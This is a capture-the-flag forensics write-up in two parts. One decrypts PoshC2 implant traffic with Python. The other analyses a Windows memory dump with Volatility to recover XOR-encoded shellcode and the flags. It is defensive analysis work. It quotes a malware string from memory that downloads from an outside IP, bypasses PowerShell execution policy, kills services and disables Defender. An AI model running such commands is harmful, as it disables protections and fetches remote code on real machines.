
ImplantCore(text3, randomURI, stringURLS, killDate, sleep, key2, stringIMGS, jitter)
				
			

Basically, it encrypts un (which is just a bunch of environment parameters) and downloads text5. Text5 is actually the packet that has a different name from the others (Anni?Theda=Merrilee). After decrypting text5, it performs a bunch of regex queries and to initialise all the variables necessary for the channel. The Decryption function  is pretty basic AES:

				
					array = Convert.FromBase64String(enc)
array2 = array[0:16]
val = CreateCam(key, Convert.ToBase64String(array2))
bytes = val.CreateDecryptor().TransformFinalBlock(array, 16, array.Length - 16)
output = Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(bytes).Trim(new char[1])))
				
			


In Python, this translates to:

				
					import base64
from Crypto.Cipher import AES 
from Crypto.Util.Padding import unpad
 
def decrypt(enc, key):
  enc = base64.b64decode(enc)
  iv = enc[0:16]
  key = base64.b64decode(key)
  cipher = AES.new(key, AES.MODE_CBC, iv)
  dec = cipher.decrypt(enc[16:])
  return dec[:-16]
				
			

Once all the variables are initialised, primer calls Implant Core

1. ImplantCore

The first thing it does is initiate the classes UrlGen and ImgGen. Then it does a bunch of blablabla, but eventually calls UrlGen.GenerateUrl() [which creates a url at random], and decrypts it.

cmd = GetWebRequest(null).DownloadString(UrlGen.GenerateUrl());
text = Decryption(Key, cmd).Replace("\0", string.Empty);

The decrypted text is then parsed.

If the decrypted text starts with ‘multicmd’ it:
– replaces the string ‘multicmd’ with ‘’
– splits it at string “!d-3dion@LD!-d”.
– iterates on each string on the new splitted array and checks if it matches some particular string, like ‘loadmodule, ‘run-dll-background’, ‘run-exe-background’ … depending on the value it will call different functions:

– Assembly.load
– rAsm
– Exec

UrlGen and ImgGen

UrlGen.GenerateUrl() just creates a random url from the parameters it is initialised with. Nothing crazy.

ImgGen.GetImgData() is a bit more complicated. What happens is that, it takes a random value in the ‘stringIMGS’ array, and then adds a command to the file. But in between, it adds a ‘random’ string, based on the length of the encrypted array.

				
					num = 1500
s = random.choice(_newImgs)
array = base64.b64decode(s)
random_string = "...................@..........................Tyscf"
random_bytes = random.sample(random_string,num-len(array)))
outval = array + random_bytes + cmdoutput
				
			

The actual ‘random’ sampling stuff doesn’t matter, as long as we can calculate the length of the array in place.

Decryption


We can start by decrypting the ‘primer file’, and get the parameters needed to be able to parse the rest of the data.

 

				
					import base64
from Crypto.Cipher import AES 
from Crypto.Util.Padding import unpad

def parse_file(fname):
	with open(fname,'rb') as inf:
		data = inf.read()
	return data

def decrypt(enc, key):
  enc = base64.b64decode(enc)
  iv = enc[0:16]
  key = base64.b64decode(key)
  cipher = AES.new(key, AES.MODE_CBC, iv)
  dec = cipher.decrypt(enc[16:])
  return base64.b64decode(dec[:-16])

key = "DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc="
primer_file = 'Anni%3fTheda=Merrilee%3fc'
enc_primer = parse_file(primer_file)
dec_primer= decrypt(enc_primer, key)
				
			

Next, we need to parse the primer file, by mimicking the Regex operations done. In python:

				
					import re 

def parse_primer(primer_val):
	val2 = re.findall(b"RANDOMURI19901(.*)10991IRUMODNAR", primer_val)
	val3 = re.findall(b"URLS10484390243(.*)34209348401SLRU", primer_val)
	val4 = re.findall(b"KILLDATE1665(.*)5661ETADLLIK", primer_val)
	val5 = re.findall(b"SLEEP98001(.*)10089PEELS", primer_val)
	val6 = re.findall(b"JITTER2025(.*)5202RETTIJ", primer_val)
	val7 = re.findall(b"NEWKEY8839394(.*)4939388YEKWEN", primer_val)
	val8 = re.findall(b"IMGS19459394(.*)49395491SGMI", primer_val)
	randomURI = val2[0]
	stringURLS = val3[0]
	killDate = val4[0]
	sleep = val5[0]
	jitter = val6[0]
	key2 = val7[0]
	stringIMGS = val8[0]
	return randomURI, stringURLS, killDate, sleep, key2, stringIMGS, jitter

randomURI, stringURLS, killDate, sleep, key2, stringIMGS, jitter = parse_primer(dec_primer)
				
			

The most import stuff we had to recover was key2 and StringIMGS. At this point, we can start looking at the rest of the files.

Images

To parse image files, we can use the following functions. First, we parse the stringIMGS value, so that we can efficiently remove the random strings. Then, we have to create a different decryption function for images, as they are not base64 encoded. Finally, we process the whole thing, and we have to uncompress the data, because all data that passes through the Encryption function, which all images do, are compressed.

				
					def parse_image_strings(stringIMGS):
	_re = re.compile(b"(?<=\")[^\"]*(?=\")|[^\" ]+")
	_newImgs = re.findall(_re,stringIMGS.replace(b',',b''))
	_newImgs = [i for i in _newImgs if i!=b'']
	_newImgs = [base64.b64decode(i) for i in _newImgs]
	return _newImgs

def decrypt_images(enc, key):
  iv = enc[0:16]
  key = base64.b64decode(key)
  cipher = AES.new(key, AES.MODE_CBC, iv)
  dec = cipher.decrypt(enc[16:])
  return dec

def parse_imagefile(data,key,imgs_data):
	indexes = len([i for i in imgs_data if i in data][0])
	len_random_string = 1500 - indexes
	enc_data = data[indexes+len_random_string:]
	dec_data = decrypt_images(enc_data,key)
	uncompressed = gzip.decompress(dec_data)
	return uncompressed
				
			
Other Files

To parse the rest of the files, I basically re-wrote the whole Implant Core function in my own words:

				
					def decrypt_inf(encf,key2):
	cmds = []
	text = decrypt(encf, key2)
	if text.lower().startswith(b'multicmd'):
		text2 = text.replace(b'multicmd',b'')
		array2 = text2.split(b"!d-3dion@LD!-d")
		array2 = [i for i in array2 if i != b'']
		for val in array2:
			taskid = val[0:5]
			cmd = val[5:]
			if cmd.lower().startswith(b'exit'):
				print("its an exit")
			if cmd.lower().startswith(b'loadmodule'):
				s = cmd.replace(b'loadmodule',b'')
				deced = base64.b64decode(s)
				ext = filetype.guess(deced).extension
				#Exec(stringBuilder.ToString(), taskid, key)
				fname = 'decrypted/module_' + taskid.decode() + '.' + str(ext)
				with open(fname,'wb') as of:
					of.write(deced)
			if cmd.lower().startswith(b'run-dll-background') or cmd.lower().startswith(b'run-exe-background'):
				#rAsm(cmd)
				s = cmd.replace(b'run-dll-background')
				deced = base64.b64decode(s)
				ext = filetype.guess(deced).extension
				fname = 'decrypted/background_exe' + taskid.decode() + '.' + str(ext)
				with open(fname,'wb') as of:
					of.write(deced)
	else:
		cmds.append(text)
	return cmds
				
			

Finally, we can remove the useless files, that contain no data, from our filelist and then iterate over each file and dump its contents to a ‘decrypted’ directory. I also added a ‘isBase64’ function, because sometimes the stuff is base64 encoded, sometimes it’s not…

 

				
					def isBase64(sb):
    try:
        if isinstance(sb, str):
                # If there's any unicode here, an exception will be thrown and the function will return false
                sb_bytes = bytes(sb, 'ascii')
        elif isinstance(sb, bytes):
                sb_bytes = sb
        else:
                raise ValueError("Argument must be string or bytes")
        return base64.b64encode(base64.b64decode(sb_bytes)) == sb_bytes
    except Exception:
            return False

import filetype
import os 
import gzip

fnames = os.listdir()
fnames.pop(fnames.index(primer_file))
bad = [b'<head', b'<body', b'STATUS 200\n', b'OK\n']
os.mkdir('decrypted')
good = []
for fn in fnames:
	encbuf = parse_file(fn)
	if not any(b in encbuf for b in bad):
		good.append(fn)

imgs_data = parse_image_strings(stringIMGS)
done = []
for fn in good:
	encbuf = parse_file(fn)
	if encbuf[0:4] == b'\x89PNG':
		out = parse_imagefile(encbuf,key2,imgs_data)
		if isBase64(out):
			out = (base64.b64decode(out))
		guess = filetype.guess(out)
		if not guess:
			ext = 'txt'
		else:
			ext = guess.extension
		with open('decrypted/' + fn + '.'+ ext, 'wb') as of:
			of.write(out)
	else:
		done.append(decrypt_inf(encbuf, key2))
				
			

Checking Output Files


In the output directory, there are five files that actually contain data:

a png, two text files and three executables.

Text Files

– output of a mimikatz command
– only contains ‘WM_POWERBROADCAST:GUID_MONITOR_POWER_ON:On’

Executables

‘Core Service’ with md5 a4d14345817ba95cb8ab1ffb2140af0b, flagged by Microsoft in Virus Total as ‘VirTool:MSIL/PoshC2.C’
PwrStatusTracker.dll – md5: f4702d36331c71df5568dbc5bc31deee flagged by McAffee in Virus Total as ‘Artemis
SharpSploit.dll -md5: 4b580075b91a0c0fdacf2695c92d6839 flagged by Elastic as ‘Windows.Hacktool.Mimikatz

Logically, if those Executables are being fully recognized, it’s unlikely they contain the flag, as the executable would have to be modified, and the hash wouldn’t match.

PNG File

– A screenshot of the User’s desktop, which… contains the flag!

Flag: HTB{h0w_c4N_y0U_s3e_p05H_c0mM4nd?}

Pandora's Bane

Difficulty: hard

Description: Having now the relic, Pandora is trying to create a plan to shut down the vessels. Unfortunately for her, the alien’s intel is one step ahead, as they somehow know what she is up to. An incident response operation started as Pandora was sure the aliens had gained access to her teammate’s host. Although many compromised hosts were found, only one sample is applicable for further analysis. If you neutralize this threat by analyzing the sample, Pandora will be able to proceed with her plan.

1. File Analysis


We are given a single file, which is a memory dump. Unfortunately, no profiles were provided, but considering the previous challenge was with Volatility3, we can try and see if it automatically finds the right profile.

vol3 -f mem.raw windows.pslist.PsList

and it works! Okay, so the first thing I like to do, is dump the output of the malfind plugin to a file, and check what’s up:

				
					vol3 -f mem.raw   windows.malfind.Malfind > malfind.txt
cat malfind.txt | grep -i vads
				
			

The processes that are returned are MsMpEng.exe, smartscreen.exe, and powershell.exe. To be honest, it’s very likely Powershell is the evil process.

Next, I like to dump the output of the filescan plugin to a text file. It’s good reference, and we can check what type of files there are:

				
					vol3 -f mem.raw  windows.filescan.FileScan > filescan.txt
cat filescan.txt | grep -F '\Users\' | grep -F '.exe'
				
			

Checking for a bunch of extensions, there is one returned for .txt, which is Powershell’s ConsoleHost_history.txt. Given that the process came back on the Malfind plugin, we can dump its contents:

				
					vol3 -f mem.raw windows.dumpfiles.DumpFiles --virtaddr 0xdb8d3fd4d790
cat file.0xdb8d3fd4d790.0xdb8d3e24f5e0.DataSectionObject.ConsoleHost_history.txt.dat
#dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
#whoami /all
				
			

Well, nothing of interest. Next, we can dump the whole process memory, and check it out with strings. A common word to check in powershell stuff is ‘bypass’

 
				
					vol3 -f mem.raw  windows.memmap.Memmap --pid 5644 --dump
strings -a -el pid.5644.dmp > pid.5644.dmp.txt
strings -a  pid.5644.dmp >> pid.5644.dmp.txt
cat pid.5644.dmp.txt | grep -i bypass

				
			

A potential POC ?

 

				
					
[.invoke('http://137.135.65.29/bypass.txt')
h5disable-computerrestore "c:\"powershell.exe -executionpolicy bypasstaskkill /f /im teamviewer.exetaskkill /f /im jusched.exenet stop mikroclientwservicenet stop mssql$mikronet stop foxitreaderservicewindows defender" /v disableantispyware /t reg_dword /d 1 /fadvanced" /v showsuperhidden /t reg_dword /d 1 /fhowtobackfiles.txt@protonmail.comencrypter
				
			

Maybe I’m tripping, but we can check the NetScan plugin and see if the address is returned:

vol3 -f mem.raw windows.netscan.NetScan

Nothing.. It’s probably a Defender text.

Now, checking the Powershell dump for ‘Base64’

cat pid.5644.dmp.txt | grep -F Base64

and… bingo! There are a lot of different calls for ‘[System.Convert]::FromBase64String’, followed by long base64 encoded strings. These are all associated with event ID 4104 which means a remote command was executed. This reminds me of CyberDefenders’ CyberCorp challenge . We can quickly filter for them, save them to a file and load them in python:

				
					echo "import base64" > my_vals.py
cat pid.5644.dmp.txt | grep -F '[System.Convert]::FromBase64String' | sed 's/^.*FromBase64String/base64\.b64decode/g' | sed '/(\\/d' | tr '\n' ',' >> vals.py

sed -i '1s/^/my_vars = [/' vals.py
sed -i 's/(""),/("")]/g' vals.py
sed -i 's/(\\/(/g' vals.py
cat vals.py >> my_vals.py

				
			
Malware Analysis


We have the files saved in a list, now we can import them and write them to a file:

Checking for potential strings:

				
					from my_vals import *
import magic 

my_vars = [i for i in my_vars if i!= b'']
# had too ... 
[i for i in my_vars if b'HTB' in i] #none
len([i for i in my_vars if b'shellcode' in i])  
#6

[magic.from_buffer(i) for i in my_vars]
#all .NET 
				
			

We could try and dump the shellcodes directly using subprocess and calling ilspycmd, since they’re all .net assemblies

				
					import subprocess
from pwn import xor
import shutil
import glob
import os

def sub_process(fname,i):
    command = ['ilspycmd', '-o', str(i), '-p', fname]
    p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    stdout, stderr = p.communicate()
    
os.mkdir('shells')
for i in range(len(my_vars)):
    fname = 'shells/' + str(i) + '.exe'
    with open(fname, 'wb') as of:
        of.write(my_vars[i])
    os.mkdir('shells/'+str(i))
    sub_process(fname,'shells/'+str(i))
    shutil.rmtree('shells/' + str(i) + '/Properties')
    for file in glob.glob('shells/'+str(i) + '/*/**' ,recursive=True):
        if file.endswith('.cs'):
            dat = open(file,'r').read()
            if 'shellcode' in dat:
                pt = dat.replace('\t','').replace('\n','')
                shellcode_idx = pt.find('shellcode')
                end_arr = pt[shellcode_idx:].find('}')
                shellcode = pt[shellcode_idx:shellcode_idx+end_arr]
                shellcode = eval(shellcode[shellcode.find('{')+1:])
                key_idx = pt[shellcode_idx+end_arr:].find('{') 
                key_end = pt[shellcode_idx+end_arr+key_idx:].find('}')
                key = eval(pt[shellcode_idx+end_arr+key_idx:shellcode_idx+end_arr+key_idx+key_end][1:])
                enced = xor(shellcode,key)
                if b'HTB' in enced:
                    print(enced[enced.find(b'HTB'):])
                else:
                    print(enced)
                    
#b"HTB{wsl_ox1d4t10n_4nd_rusty_m3m0ry_4rt1f4cts!!}' -AsPlainText -Force)\x00"
				
			

Flag: HTB{wsl_ox1d4t10n_4nd_rusty_m3m0ry_4rt1f4cts!!}

Recent Posts

Follow Us

Featured Video

Guide

Discover more from forensicskween

Subscribe now to keep reading and get access to the full archive.

Continue reading